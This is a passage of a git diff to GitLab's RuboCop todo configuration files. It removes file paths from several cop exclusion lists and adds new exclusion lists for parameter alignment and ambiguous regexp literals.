- - 'ee/spec/workers/geo/registry_sync_worker_spec.rb'
- 'ee/spec/workers/geo/repositories_clean_up_worker_spec.rb'
- 'ee/spec/workers/geo/repository_shard_sync_worker_spec.rb'
- 'ee/spec/workers/geo/repository_verification/primary/shard_worker_spec.rb'
@@ -3037,7 +2953,6 @@ Layout/LineLength:
- 'lib/gitlab/auth/o_auth/user.rb'
- 'lib/gitlab/auth/saml/auth_hash.rb'
- 'lib/gitlab/auth/user_access_denied_reason.rb'
- - 'lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb'
- 'lib/gitlab/background_migration/backfill_issue_search_data.rb'
- 'lib/gitlab/background_migration/backfill_iteration_cadence_id_for_boards.rb'
- 'lib/gitlab/background_migration/backfill_snippet_repositories.rb'
@@ -3086,7 +3001,6 @@ Layout/LineLength:
- 'lib/gitlab/ci/config/entry/trigger.rb'
- 'lib/gitlab/ci/config/external/file/project.rb'
- 'lib/gitlab/ci/config/external/file/remote.rb'
- - 'lib/gitlab/ci/config/external/mapper.rb'
- 'lib/gitlab/ci/parsers/coverage/cobertura.rb'
- 'lib/gitlab/ci/parsers/coverage/sax_document.rb'
- 'lib/gitlab/ci/parsers/security/common.rb'
@@ -3101,7 +3015,6 @@ Layout/LineLength:
- 'lib/gitlab/ci/pipeline/seed/build.rb'
- 'lib/gitlab/ci/reports/codequality_reports.rb'
- 'lib/gitlab/ci/reports/security/finding.rb'
- - 'lib/gitlab/ci/reports/security/reports.rb'
- 'lib/gitlab/ci/reports/test_case.rb'
- 'lib/gitlab/ci/reports/test_suite.rb'
- 'lib/gitlab/ci/reports/test_suite_comparer.rb'
@@ -3156,7 +3069,6 @@ Layout/LineLength:
- 'lib/gitlab/database/reflection.rb'
- 'lib/gitlab/database/reindexing.rb'
- 'lib/gitlab/database/reindexing/coordinator.rb'
- - 'lib/gitlab/database/reindexing/grafana_notifier.rb'
- 'lib/gitlab/database/reindexing/reindex_concurrently.rb'
- 'lib/gitlab/database/schema_migrations/context.rb'
- 'lib/gitlab/database/similarity_score.rb'
@@ -3310,7 +3222,6 @@ Layout/LineLength:
- 'lib/gitlab/quick_actions/relate_actions.rb'
- 'lib/gitlab/rack_attack.rb'
- 'lib/gitlab/redis/wrapper.rb'
- - 'lib/gitlab/reference_extractor.rb'
- 'lib/gitlab/regex.rb'
- 'lib/gitlab/relative_positioning/item_context.rb'
- 'lib/gitlab/repository_size_error_message.rb'
@@ -3427,15 +3338,9 @@ Layout/LineLength:
- 'qa/qa/resource/protected_branch.rb'
- 'qa/qa/resource/registry_repository.rb'
- 'qa/qa/resource/repository/push.rb'
- - 'qa/qa/resource/reusable.rb'
- - 'qa/qa/resource/reusable_collection.rb'
- - 'qa/qa/resource/reusable_group.rb'
- - 'qa/qa/resource/reusable_project.rb'
- - 'qa/qa/resource/runner.rb'
- 'qa/qa/resource/snippet.rb'
- 'qa/qa/resource/wiki/group_page.rb'
- 'qa/qa/runtime/api/repository_storage_moves.rb'
- - 'qa/qa/runtime/application_settings.rb'
- 'qa/qa/runtime/env.rb'
- 'qa/qa/runtime/feature.rb'
- 'qa/qa/runtime/fixtures.rb'
@@ -3550,9 +3455,7 @@ Layout/LineLength:
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/license/cloud_activation_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/license/license_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/free_trial_spec.rb'
- - 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/purchase_ci_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/purchase_storage_spec.rb'
- - 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/upgrade_group_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/11_fulfillment/purchase/user_registration_billing_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/13_secure/enable_scanning_from_configuration_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/13_secure/license_compliance_spec.rb'
@@ -3633,7 +3536,6 @@ Layout/LineLength:
- 'scripts/changed-feature-flags'
- 'scripts/failed_tests.rb'
- 'scripts/flaky_examples/prune-old-flaky-examples'
- - 'scripts/lib/gitlab.rb'
- 'scripts/lint_templates_bash.rb'
- 'scripts/no-dir-check'
- 'scripts/perf/query_limiting_report.rb'
@@ -3674,7 +3576,6 @@ Layout/LineLength:
- 'spec/controllers/groups/settings/applications_controller_spec.rb'
- 'spec/controllers/groups/settings/integrations_controller_spec.rb'
- 'spec/controllers/groups_controller_spec.rb'
- - 'spec/controllers/import/available_namespaces_controller_spec.rb'
- 'spec/controllers/import/bitbucket_controller_spec.rb'
- 'spec/controllers/import/bitbucket_server_controller_spec.rb'
- 'spec/controllers/import/bulk_imports_controller_spec.rb'
@@ -3748,7 +3649,6 @@ Layout/LineLength:
- 'spec/db/schema_spec.rb'
- 'spec/deprecation_toolkit_env.rb'
- 'spec/experiments/concerns/project_commit_count_spec.rb'
- - 'spec/factories/ci/builds.rb'
- 'spec/factories/ci/job_artifacts.rb'
- 'spec/factories/ci/pipelines.rb'
- 'spec/factories/ci/reports/codequality_degradations.rb'
@@ -3844,7 +3744,6 @@ Layout/LineLength:
- 'spec/features/markdown/gitlab_flavored_markdown_spec.rb'
- 'spec/features/markdown/metrics_spec.rb'
- 'spec/features/merge_request/batch_comments_spec.rb'
- - 'spec/features/merge_request/maintainer_edits_fork_spec.rb'
- 'spec/features/merge_request/user_accepts_merge_request_spec.rb'
- 'spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb'
- 'spec/features/merge_request/user_assigns_themselves_spec.rb'
@@ -3965,7 +3864,6 @@ Layout/LineLength:
- 'spec/features/security/project/snippet/public_access_spec.rb'
- 'spec/features/signed_commits_spec.rb'
- 'spec/features/snippets/embedded_snippet_spec.rb'
- - 'spec/features/snippets/spam_snippets_spec.rb'
- 'spec/features/snippets/user_edits_snippet_spec.rb'
- 'spec/features/task_lists_spec.rb'
- 'spec/features/unsubscribe_links_spec.rb'
@@ -4176,7 +4074,6 @@ Layout/LineLength:
- 'spec/helpers/users_helper_spec.rb'
- 'spec/helpers/visibility_level_helper_spec.rb'
- 'spec/helpers/webpack_helper_spec.rb'
- - 'spec/helpers/wiki_helper_spec.rb'
- 'spec/helpers/wiki_page_version_helper_spec.rb'
- 'spec/initializers/00_rails_disable_joins_spec.rb'
- 'spec/initializers/6_validations_spec.rb'
@@ -4304,7 +4201,6 @@ Layout/LineLength:
- 'spec/lib/gitlab/auth/user_access_denied_reason_spec.rb'
- 'spec/lib/gitlab/auth_spec.rb'
- 'spec/lib/gitlab/authorized_keys_spec.rb'
- - 'spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb'
- 'spec/lib/gitlab/background_migration/backfill_issue_search_data_spec.rb'
- 'spec/lib/gitlab/background_migration/backfill_member_namespace_for_group_members_spec.rb'
- 'spec/lib/gitlab/background_migration/backfill_project_repositories_spec.rb'
@@ -4388,7 +4284,6 @@ Layout/LineLength:
- 'spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb'
- 'spec/lib/gitlab/ci/reports/codequality_mr_diff_spec.rb'
- 'spec/lib/gitlab/ci/reports/security/flag_spec.rb'
- - 'spec/lib/gitlab/ci/reports/security/reports_spec.rb'
- 'spec/lib/gitlab/ci/reports/security/scanner_spec.rb'
- 'spec/lib/gitlab/ci/reports/security/vulnerability_reports_comparer_spec.rb'
- 'spec/lib/gitlab/ci/runner_upgrade_check_spec.rb'
@@ -4458,7 +4353,6 @@ Layout/LineLength:
- 'spec/lib/gitlab/database/query_analyzer_spec.rb'
- 'spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb'
- 'spec/lib/gitlab/database/query_analyzers/restrict_allowed_schemas_spec.rb'
- - 'spec/lib/gitlab/database/reindexing/grafana_notifier_spec.rb'
- 'spec/lib/gitlab/database/reindexing/reindex_concurrently_spec.rb'
- 'spec/lib/gitlab/database/reindexing_spec.rb'
- 'spec/lib/gitlab/database/rename_reserved_paths_migration/v1/rename_base_spec.rb'
@@ -4555,7 +4449,6 @@ Layout/LineLength:
- 'spec/lib/gitlab/import_export/base/relation_object_saver_spec.rb'
- 'spec/lib/gitlab/import_export/command_line_util_spec.rb'
- 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
- - 'spec/lib/gitlab/import_export/group/legacy_tree_restorer_spec.rb'
- 'spec/lib/gitlab/import_export/import_failure_service_spec.rb'
- 'spec/lib/gitlab/import_export/importer_spec.rb'
- 'spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb'
@@ -4663,7 +4556,6 @@ Layout/LineLength:
- 'spec/lib/gitlab/search_results_spec.rb'
- 'spec/lib/gitlab/serializer/pagination_spec.rb'
- 'spec/lib/gitlab/serverless/service_spec.rb'
- - 'spec/lib/gitlab/shell_spec.rb'
- 'spec/lib/gitlab/sidekiq_config/worker_router_spec.rb'
- 'spec/lib/gitlab/sidekiq_daemon/memory_killer_spec.rb'
- 'spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb'
@@ -4755,10 +4647,6 @@ Layout/LineLength:
- 'spec/mailers/emails/releases_spec.rb'
- 'spec/mailers/emails/service_desk_spec.rb'
- 'spec/mailers/notify_spec.rb'
- - 'spec/migrations/20210423160427_schedule_drop_invalid_vulnerabilities_spec.rb'
- - 'spec/migrations/20210511142748_schedule_drop_invalid_vulnerabilities2_spec.rb'
- - 'spec/migrations/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects_spec.rb'
- - 'spec/migrations/20210601073400_fix_total_stage_in_vsa_spec.rb'
- 'spec/migrations/20210610153556_delete_legacy_operations_feature_flags_spec.rb'
- 'spec/migrations/2021061716138_cascade_delete_freeze_periods_spec.rb'
- 'spec/migrations/20210713042000_fix_ci_sources_pipelines_index_names_spec.rb'
@@ -4789,19 +4677,11 @@ Layout/LineLength:
- 'spec/migrations/add_upvotes_count_index_to_issues_spec.rb'
- 'spec/migrations/backfill_all_project_namespaces_spec.rb'
- 'spec/migrations/backfill_cadence_id_for_boards_scoped_to_iteration_spec.rb'
- - 'spec/migrations/backfill_clusters_integration_prometheus_enabled_spec.rb'
- - 'spec/migrations/backfill_escalation_policies_for_oncall_schedules_spec.rb'
- - 'spec/migrations/backfill_nuget_temporary_packages_to_processing_status_spec.rb'
- 'spec/migrations/backfill_project_namespaces_for_group_spec.rb'
- - 'spec/migrations/cleanup_after_add_primary_email_to_emails_if_user_confirmed_spec.rb'
- 'spec/migrations/cleanup_after_fixing_issue_when_admin_changed_primary_email_spec.rb'
- - 'spec/migrations/cleanup_move_container_registry_enabled_to_project_feature_spec.rb'
- - 'spec/migrations/confirm_support_bot_user_spec.rb'
- - 'spec/migrations/delete_security_findings_without_uuid_spec.rb'
- 'spec/migrations/finalize_project_namespaces_backfill_spec.rb'
- 'spec/migrations/fix_and_backfill_project_namespaces_for_projects_with_duplicate_name_spec.rb'
- 'spec/migrations/fix_batched_migrations_old_format_job_arguments_spec.rb'
- - 'spec/migrations/populate_dismissal_information_for_vulnerabilities_spec.rb'
- 'spec/migrations/re_schedule_latest_pipeline_id_population_with_all_security_related_artifact_types_spec.rb'
- 'spec/migrations/recreate_index_security_ci_builds_on_name_and_id_parser_features_spec.rb'
- 'spec/migrations/recreate_index_security_ci_builds_on_name_and_id_parser_with_new_features_spec.rb'
@@ -4810,11 +4690,8 @@ Layout/LineLength:
- 'spec/migrations/rename_services_to_integrations_spec.rb'
- 'spec/migrations/replace_external_wiki_triggers_spec.rb'
- 'spec/migrations/reset_severity_levels_to_new_default_spec.rb'
- - 'spec/migrations/schedule_add_primary_email_to_emails_if_user_confirmed_spec.rb'
- 'spec/migrations/schedule_recalculate_vulnerability_finding_signatures_for_findings_spec.rb'
- 'spec/migrations/schedule_update_timelogs_null_spent_at_spec.rb'
- - 'spec/migrations/schedule_update_timelogs_project_id_spec.rb'
- - 'spec/migrations/schedule_update_users_where_two_factor_auth_required_from_group_spec.rb'
- 'spec/migrations/update_invalid_member_states_spec.rb'
- 'spec/models/active_session_spec.rb'
- 'spec/models/acts_as_taggable_on/tag_spec.rb'
@@ -4837,12 +4714,9 @@ Layout/LineLength:
- 'spec/models/ci/build_spec.rb'
- 'spec/models/ci/build_trace_chunk_spec.rb'
- 'spec/models/ci/daily_build_group_report_result_spec.rb'
- - 'spec/models/ci/freeze_period_status_spec.rb'
- 'spec/models/ci/group_variable_spec.rb'
- 'spec/models/ci/instance_variable_spec.rb'
- 'spec/models/ci/job_artifact_spec.rb'
- - 'spec/models/ci/job_token/scope_spec.rb'
- - 'spec/models/ci/pipeline_schedule_spec.rb'
- 'spec/models/ci/pipeline_spec.rb'
- 'spec/models/ci/processable_spec.rb'
- 'spec/models/ci/ref_spec.rb'
@@ -4864,7 +4738,6 @@ Layout/LineLength:
- 'spec/models/concerns/clusters/agents/authorization_config_scopes_spec.rb'
- 'spec/models/concerns/deployment_platform_spec.rb'
- 'spec/models/concerns/group_descendant_spec.rb'
- - 'spec/models/concerns/has_user_type_spec.rb'
- 'spec/models/concerns/id_in_ordered_spec.rb'
- 'spec/models/concerns/ignorable_columns_spec.rb'
- 'spec/models/concerns/integrations/has_data_fields_spec.rb'
@@ -5128,7 +5001,6 @@ Layout/LineLength:
- 'spec/requests/api/graphql/project/container_repositories_spec.rb'
- 'spec/requests/api/graphql/project/issue/designs/designs_spec.rb'
- 'spec/requests/api/graphql/project/jira_import_spec.rb'
- - 'spec/requests/api/graphql/project/jobs_spec.rb'
- 'spec/requests/api/graphql/project/milestones_spec.rb'
- 'spec/requests/api/graphql/project/pipeline_spec.rb'
- 'spec/requests/api/graphql/project/project_statistics_spec.rb'
@@ -5174,7 +5046,6 @@ Layout/LineLength:
- 'spec/requests/api/npm_project_packages_spec.rb'
- 'spec/requests/api/nuget_group_packages_spec.rb'
- 'spec/requests/api/nuget_project_packages_spec.rb'
- - 'spec/requests/api/oauth_tokens_spec.rb'
- 'spec/requests/api/pages/internal_access_spec.rb'
- 'spec/requests/api/pages/private_access_spec.rb'
- 'spec/requests/api/pages/public_access_spec.rb'
@@ -5225,10 +5096,8 @@ Layout/LineLength:
- 'spec/requests/projects/incident_management/pagerduty_incidents_spec.rb'
- 'spec/requests/projects/issue_links_controller_spec.rb'
- 'spec/requests/projects/issues/discussions_spec.rb'
- - 'spec/requests/projects/issues_controller_spec.rb'
- 'spec/requests/projects/merge_requests/content_spec.rb'
- 'spec/requests/projects/merge_requests/context_commit_diffs_spec.rb'
- - 'spec/requests/projects/merge_requests_controller_spec.rb'
- 'spec/requests/projects/merge_requests_discussions_spec.rb'
- 'spec/requests/projects/merge_requests_spec.rb'
- 'spec/requests/projects/metrics/dashboards/builder_spec.rb'
@@ -5320,8 +5189,6 @@ Layout/LineLength:
- 'spec/services/ci/test_failure_history_service_spec.rb'
- 'spec/services/ci/unlock_artifacts_service_spec.rb'
- 'spec/services/ci/update_pending_build_service_spec.rb'
- - 'spec/services/clusters/aws/fetch_credentials_service_spec.rb'
- - 'spec/services/clusters/aws/provision_service_spec.rb'
- 'spec/services/clusters/create_service_spec.rb'
- 'spec/services/clusters/integrations/prometheus_health_check_service_spec.rb'
- 'spec/services/clusters/kubernetes/create_or_update_namespace_service_spec.rb'
@@ -5501,8 +5368,6 @@ Layout/LineLength:
- 'spec/services/projects/import_export/export_service_spec.rb'
- 'spec/services/projects/import_service_spec.rb'
- 'spec/services/projects/lfs_pointers/lfs_download_service_spec.rb'
- - 'spec/services/projects/lfs_pointers/lfs_import_service_spec.rb'
- - 'spec/services/projects/lfs_pointers/lfs_object_download_list_service_spec.rb'
- 'spec/services/projects/operations/update_service_spec.rb'
- 'spec/services/projects/overwrite_project_service_spec.rb'
- 'spec/services/projects/transfer_service_spec.rb'
@@ -5622,7 +5487,6 @@ Layout/LineLength:
- 'spec/support/shared_examples/controllers/set_sort_order_from_user_preference_shared_examples.rb'
- 'spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb'
- 'spec/support/shared_examples/features/2fa_shared_examples.rb'
- - 'spec/support/shared_examples/features/container_registry_shared_examples.rb'
- 'spec/support/shared_examples/features/discussion_comments_shared_example.rb'
- 'spec/support/shared_examples/features/editable_merge_request_shared_examples.rb'
- 'spec/support/shared_examples/features/error_tracking_shared_example.rb'
@@ -5748,7 +5612,6 @@ Layout/LineLength:
- 'spec/support/shared_examples/uploaders/upload_type_shared_examples.rb'
- 'spec/support/shared_examples/views/registration_features_prompt_shared_examples.rb'
- 'spec/support/shared_examples/workers/concerns/dependency_proxy/cleanup_worker_shared_examples.rb'
- - 'spec/support/shared_examples/workers/concerns/git_garbage_collect_methods_shared_examples.rb'
- 'spec/support/shared_examples/workers/gitlab/jira_import/jira_import_workers_shared_examples.rb'
- 'spec/support/shared_examples/workers/project_export_shared_examples.rb'
- 'spec/support_specs/database/prevent_cross_joins_spec.rb'
@@ -5826,7 +5689,6 @@ Layout/LineLength:
- 'spec/views/shared/milestones/_issuable.html.haml_spec.rb'
- 'spec/views/shared/projects/_project.html.haml_spec.rb'
- 'spec/views/shared/snippets/_snippet.html.haml_spec.rb'
- - 'spec/views/shared/ssh_keys/_key_details.html.haml_spec.rb'
- 'spec/views/shared/wikis/_sidebar.html.haml_spec.rb'
- 'spec/workers/analytics/usage_trends/counter_job_worker_spec.rb'
- 'spec/workers/authorized_project_update/project_recalculate_per_user_worker_spec.rb'
diff --git a/.rubocop_todo/layout/parameter_alignment.yml b/.rubocop_todo/layout/parameter_alignment.yml
new file mode 100644
index 00000000000..4fafbab6024
--- /dev/null
+++ b/.rubocop_todo/layout/parameter_alignment.yml
@@ -0,0 +1,18 @@
+---
+# Cop supports --autocorrect.
+Layout/ParameterAlignment:
+ Details: grace period
+ Exclude:
+ - 'ee/spec/lib/ee/gitlab/background_migration/drop_invalid_remediations_spec.rb'
+ - 'lib/gitlab/cross_project_access.rb'
+ - 'lib/gitlab/data_builder/push.rb'
+ - 'spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb'
+ - 'spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb'
+ - 'spec/lib/gitlab/background_migration/remove_duplicate_vulnerabilities_findings_spec.rb'
+ - 'spec/lib/gitlab/background_migration/remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb'
+ - 'spec/migrations/20211018152654_schedule_remove_duplicate_vulnerabilities_findings3_spec.rb'
+ - 'spec/migrations/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb'
+ - 'spec/support/helpers/content_security_policy_helpers.rb'
+ - 'spec/support/helpers/migrations_helpers/vulnerabilities_helper.rb'
+ - 'spec/support/helpers/repo_helpers.rb'
+ - 'spec/support/helpers/stub_object_storage.rb'
diff --git a/.rubocop_todo/layout/space_in_lambda_literal.yml b/.rubocop_todo/layout/space_in_lambda_literal.yml
index 73b8a354a58..2fbdf69e5e3 100644
--- a/.rubocop_todo/layout/space_in_lambda_literal.yml
+++ b/.rubocop_todo/layout/space_in_lambda_literal.yml
@@ -24,7 +24,6 @@ Layout/SpaceInLambdaLiteral:
- 'app/models/clusters/cluster.rb'
- 'app/models/clusters/kubernetes_namespace.rb'
- 'app/models/commit_status.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/analytics/cycle_analytics/stage_event_model.rb'
- 'app/models/concerns/approvable.rb'
- 'app/models/concerns/ci/artifactable.rb'
@@ -173,7 +172,6 @@ Layout/SpaceInLambdaLiteral:
- 'app/workers/process_commit_worker.rb'
- 'config/initializers/deprecations.rb'
- 'config/routes/project.rb'
- - 'db/post_migrate/20210303121224_update_gitlab_subscriptions_start_at_post_eoa.rb'
- 'ee/app/controllers/groups/analytics/coverage_reports_controller.rb'
- 'ee/app/controllers/projects/on_demand_scans_controller.rb'
- 'ee/app/controllers/projects/security/dast_site_profiles_controller.rb'
diff --git a/.rubocop_todo/lint/ambiguous_regexp_literal.yml b/.rubocop_todo/lint/ambiguous_regexp_literal.yml
new file mode 100644
index 00000000000..d0160d620d5
--- /dev/null
+++ b/.rubocop_todo/lint/ambiguous_regexp_literal.yml
@@ -0,0 +1,96 @@
+---
+# Cop supports --autocorrect.
+Lint/AmbiguousRegexpLiteral:
+ Details: grace period
+ Exclude:
+ - 'ee/lib/ee/gitlab/auth/ldap/group.rb'
+ - 'ee/spec/controllers/groups/sso_controller_spec.rb'
+ - 'ee/spec/controllers/projects/mirrors_controller_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/ci/status/build/manual_spec.rb'
+ - 'ee/spec/lib/gitlab/insights/executors/dora_executor_spec.rb'
+ - 'ee/spec/lib/gitlab/web_ide/config/entry/schema_spec.rb'
+ - 'ee/spec/lib/gitlab/web_ide/config/entry/schemas_spec.rb'
+ - 'ee/spec/mailers/ee/emails/profile_spec.rb'
+ - 'ee/spec/models/push_rule_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/audit_events/external_audit_event_destinations/destroy_spec.rb'
+ - 'ee/spec/serializers/pipeline_serializer_spec.rb'
+ - 'ee/spec/services/analytics/cycle_analytics/aggregator_service_spec.rb'
+ - 'ee/spec/services/ee/members/create_service_spec.rb'
+ - 'ee/spec/services/group_saml/saml_group_links/create_service_spec.rb'
+ - 'ee/spec/views/admin/dashboard/index.html.haml_spec.rb'
+ - 'ee/spec/views/admin/users/_credit_card_info.html.haml_spec.rb'
+ - 'ee/spec/views/admin/users/show.html.haml_spec.rb'
+ - 'ee/spec/views/shared/_clone_panel.html.haml_spec.rb'
+ - 'lib/api/features.rb'
+ - 'qa/spec/page/element_spec.rb'
+ - 'spec/components/pajamas/avatar_component_spec.rb'
+ - 'spec/features/atom/users_spec.rb'
+ - 'spec/features/issues/user_creates_branch_and_merge_request_spec.rb'
+ - 'spec/features/issues/user_creates_issue_spec.rb'
+ - 'spec/features/merge_request/user_merges_when_pipeline_succeeds_spec.rb'
+ - 'spec/helpers/labels_helper_spec.rb'
+ - 'spec/helpers/users_helper_spec.rb'
+ - 'spec/helpers/visibility_level_helper_spec.rb'
+ - 'spec/initializers/direct_upload_support_spec.rb'
+ - 'spec/initializers/validate_database_config_spec.rb'
+ - 'spec/lib/banzai/filter/references/label_reference_filter_spec.rb'
+ - 'spec/lib/feature_spec.rb'
+ - 'spec/lib/gitlab/auth/user_access_denied_reason_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/bridge_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/image_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/imageable_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/job_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/key_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/policy_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/ports_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/processable_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/reports/coverage_report_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/root_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/service_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/trigger_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/create_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/validate/abilities_spec.rb'
+ - 'spec/lib/gitlab/ci/status/build/manual_spec.rb'
+ - 'spec/lib/gitlab/composer/version_index_spec.rb'
+ - 'spec/lib/gitlab/config/entry/validator_spec.rb'
+ - 'spec/lib/gitlab/config/entry/validators_spec.rb'
+ - 'spec/lib/gitlab/database/migration_helpers/restrict_gitlab_schema_spec.rb'
+ - 'spec/lib/gitlab/database/migration_helpers/v2_spec.rb'
+ - 'spec/lib/gitlab/database/migration_helpers_spec.rb'
+ - 'spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb'
+ - 'spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb'
+ - 'spec/lib/gitlab/database/partitioning_spec.rb'
+ - 'spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb'
+ - 'spec/lib/gitlab/gitaly_client/with_feature_flag_actors_spec.rb'
+ - 'spec/lib/gitlab/kubernetes/helm/v2/base_command_spec.rb'
+ - 'spec/lib/gitlab/kubernetes/helm/v3/base_command_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/in_operator_optimization/array_scope_columns_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/in_operator_optimization/query_builder_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/iterator_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb'
+ - 'spec/lib/gitlab/utils/strong_memoize_spec.rb'
+ - 'spec/lib/gitlab/web_ide/config/entry/global_spec.rb'
+ - 'spec/lib/gitlab/web_ide/config/entry/terminal_spec.rb'
+ - 'spec/lib/object_storage/direct_upload_spec.rb'
+ - 'spec/mailers/devise_mailer_spec.rb'
+ - 'spec/mailers/emails/profile_spec.rb'
+ - 'spec/models/concerns/as_cte_spec.rb'
+ - 'spec/models/concerns/sortable_spec.rb'
+ - 'spec/models/concerns/spammable_spec.rb'
+ - 'spec/models/group_spec.rb'
+ - 'spec/requests/api/deployments_spec.rb'
+ - 'spec/requests/api/graphql/gitlab_schema_spec.rb'
+ - 'spec/requests/api/helpers_spec.rb'
+ - 'spec/scripts/lib/glfm/update_specification_spec.rb'
+ - 'spec/serializers/commit_entity_spec.rb'
+ - 'spec/services/loose_foreign_keys/cleaner_service_spec.rb'
+ - 'spec/services/snippets/repository_validation_service_spec.rb'
+ - 'spec/services/system_notes/merge_requests_service_spec.rb'
+ - 'spec/support/shared_examples/features/content_editor_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb'
+ - 'spec/support_specs/database/multiple_databases_helpers_spec.rb'
+ - 'spec/tasks/gitlab/gitaly_rake_spec.rb'
+ - 'spec/tasks/gitlab/workhorse_rake_spec.rb'
+ - 'spec/views/admin/dashboard/index.html.haml_spec.rb'
+ - 'spec/views/devise/sessions/new.html.haml_spec.rb'
diff --git a/.rubocop_todo/lint/missing_cop_enable_directive.yml b/.rubocop_todo/lint/missing_cop_enable_directive.yml
index e0b2afe8256..d4091e27353 100644
--- a/.rubocop_todo/lint/missing_cop_enable_directive.yml
+++ b/.rubocop_todo/lint/missing_cop_enable_directive.yml
@@ -144,12 +144,10 @@ Lint/MissingCopEnableDirective:
- 'ee/app/workers/groups/export_memberships_worker.rb'
- 'ee/app/workers/update_max_seats_used_for_gitlab_com_subscriptions_worker.rb'
- 'ee/lib/api/ldap_group_links.rb'
- - 'ee/lib/api/scim.rb'
- 'ee/lib/ee/gitlab/background_migration/backfill_project_statistics_container_repository_size.rb'
- 'ee/lib/ee/gitlab/background_migration/migrate_approver_to_approval_rules.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
- 'ee/lib/gitlab/spdx/license.rb'
- - 'ee/spec/controllers/projects/legacy_pipelines_controller_spec.rb'
- 'ee/spec/helpers/groups/security_features_helper_spec.rb'
- 'ee/spec/helpers/projects/security/discover_helper_spec.rb'
- 'ee/spec/lib/ee/gitlab/background_migration/delete_invalid_epic_issues_spec.rb'
diff --git a/.rubocop_todo/lint/redundant_cop_disable_directive.yml b/.rubocop_todo/lint/redundant_cop_disable_directive.yml
index a2dd002b54f..146d7ce164f 100644
--- a/.rubocop_todo/lint/redundant_cop_disable_directive.yml
+++ b/.rubocop_todo/lint/redundant_cop_disable_directive.yml
@@ -73,7 +73,6 @@ Lint/RedundantCopDisableDirective:
- 'config/initializers/warden.rb'
- 'config/initializers/wikicloth_ruby_3_patch.rb'
- 'config/routes/api.rb'
- - 'db/migrate/20210303193544_add_concurrent_fields_to_bulk_imports_trackers.rb'
- 'db/migrate/20210917134321_remove_temporary_index_for_project_topics_on_taggings.rb'
- 'db/migrate/20211013014228_add_content_validation_endpoint_to_application_settings.rb'
- 'db/migrate/20220316022505_create_namespace_details.rb'
@@ -125,7 +124,6 @@ Lint/RedundantCopDisableDirective:
- 'ee/lib/analytics/merge_request_metrics_calculator.rb'
- 'ee/lib/api/audit_events.rb'
- 'ee/lib/api/dora/metrics.rb'
- - 'ee/lib/api/scim.rb'
- 'ee/lib/ee/api/entities/analytics/code_review/merge_request.rb'
- 'ee/lib/ee/gitlab/background_migration/backfill_epic_cache_counts.rb'
- 'ee/lib/ee/gitlab/background_migration/migrate_shared_vulnerability_scanners.rb'
@@ -136,7 +134,6 @@ Lint/RedundantCopDisableDirective:
- 'ee/lib/gitlab/elastic/bool_expr.rb'
- 'ee/lib/gitlab/spdx/license.rb'
- 'ee/lib/gitlab/status_page/storage/object.rb'
- - 'ee/spec/contracts/provider/pact_helpers/project/merge_request/show/suggested_reviewers_helper.rb'
- 'ee/spec/elastic/migrate/20221026082700_backfill_users_spec.rb'
- 'ee/spec/features/boards/user_visits_board_spec.rb'
- 'ee/spec/features/groups/settings/domain_verification_spec.rb'
diff --git a/.rubocop_todo/migration/background_migration_base_class.yml b/.rubocop_todo/migration/background_migration_base_class.yml
index 56b6a4294d4..9f5fb15289b 100644
--- a/.rubocop_todo/migration/background_migration_base_class.yml
+++ b/.rubocop_todo/migration/background_migration_base_class.yml
@@ -1,7 +1,6 @@
---
Migration/BackgroundMigrationBaseClass:
Exclude:
- - 'lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed.rb'
- 'lib/gitlab/background_migration/backfill_ci_queuing_tables.rb'
